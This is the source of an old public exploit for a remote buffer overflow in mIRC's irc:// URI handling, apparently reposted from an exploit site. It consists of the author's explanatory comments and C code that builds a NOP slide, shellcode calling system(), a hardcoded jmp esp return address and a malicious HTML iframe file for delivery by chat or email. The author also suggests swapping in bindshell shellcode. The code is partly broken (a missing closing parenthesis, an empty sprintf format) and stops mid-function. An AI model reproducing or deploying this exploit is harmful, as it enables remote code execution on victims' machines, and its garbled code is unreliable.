mIRC v6.1 "IRC" protocol Remote Buffer overflow Exploit

/** remote mirc < 6.11 exploit by blasty
                              ** TESTED ON: Windows XP (No SP, Ducth) Build: 2600.xpclient.010817-1148
                              ** A few days ago, I saw a mIRC advisory on packetstorm [1] and was surprised
                              ** nobody had written an exploit yet. So I decided to start writing one.
                              ** Since this was my first time coding a exploit for windows, it took some
                              ** research before I got the hang of it. (Ollydbg is much more confusing then GDB btw :P)
                              ** This exploits (ab)uses the bug in irc:// URI handling. It contains a buffer-
                              ** overflow, and when more then 998 bytes are given EIP will be overwritten.
                              ** At first I was thinking of a simple solution to get this exploitable. Since
                              ** giving an URI with > 998 chars to someone on IRC is simply NOT done :)
                              ** Then I remember the iframe-irc:// flaw found by uuuppzz [2]
                              ** This exploit will write an malicious HTML file containing an iframe executing the
                              ** irc:// address. So you can give this to anyone on IRC for example ;)
                              ** The shellcode included does only execute cmd.exe, because I don't want to be this
                              ** a scriptkiddy util. But, replacing the shellcode with your own is also possible.
                              ** An 400 bytes shellcode (bindshell etc.) easily fits in the buffer, but it may require
                              ** some tweaking.
                              ** After exiting the cmd.exe mIRC will crash, so shellcode its not 100% clean, but who carez :)
                              ** Oh yeah, I almost forgot.. this exploit also works even if mIRC isn't started.
                              ** mIRC will start automatically when an irc:// is executed, so you can also send somebody
                              ** and HTML email containing the evil HTML code. (only for poor clients like Outlook Express :P)


                              /* Stupid cmd.exe exec shellcode. hey! I r !evil ;) */
                              unsigned char shellcode[] =
                              "\x44\x80\xbf\x77"                    //      0x78bf8044 <- adress of system()
                              "\xff\xd0";                           //      call    system()

                              char jmpback[] =
                              "\xE9\xCF\xFB\xFF\xFF"; // my leet negative JMP shellcode :)

                              char buffer[1100], fstring[1300]; // heh, need to clean this up

                              int main(int argc, char *argv[]) {
                              FILE *evil;

                              fprintf(stdout, "---------------------------------------------\n"
                                                "Exploit downloaded on k-otik.com\n"

                              // NOPslides are cool
                              memset(buffer, 0x90, sizeof(buffer) - 1);

                              // place shellcode in buffer
                              memcpy(buffer + 20, shellcode, strlen(shellcode));

                              // took this one from ntdll.dll (jmp esp)
                              *(long *)&buffer[994] = 0x77F4801C;

                              // place jmpback shellcode in buffer
                              memcpy(buffer + 20 + strlen(shellcode) + 1010, jmpback, strlen(jmpback));

                              printf("[+] Evil buffer constructed\n");

                              // open HTML file for writing
                              if((evil = fopen("index.html", "a+")) != NULL) {

                              // construct evil string :)
                              sprintf(fstring, "", buffer);

                              // write string to file
                              fputs(fstring, evil);

                              // close file

                              printf("[+] Evil HTML file written!\n");
                              } else {
                              // uh oh.. :/
                              fprintf(stderr, "ERROR: Could not open index.html for writing!\n");

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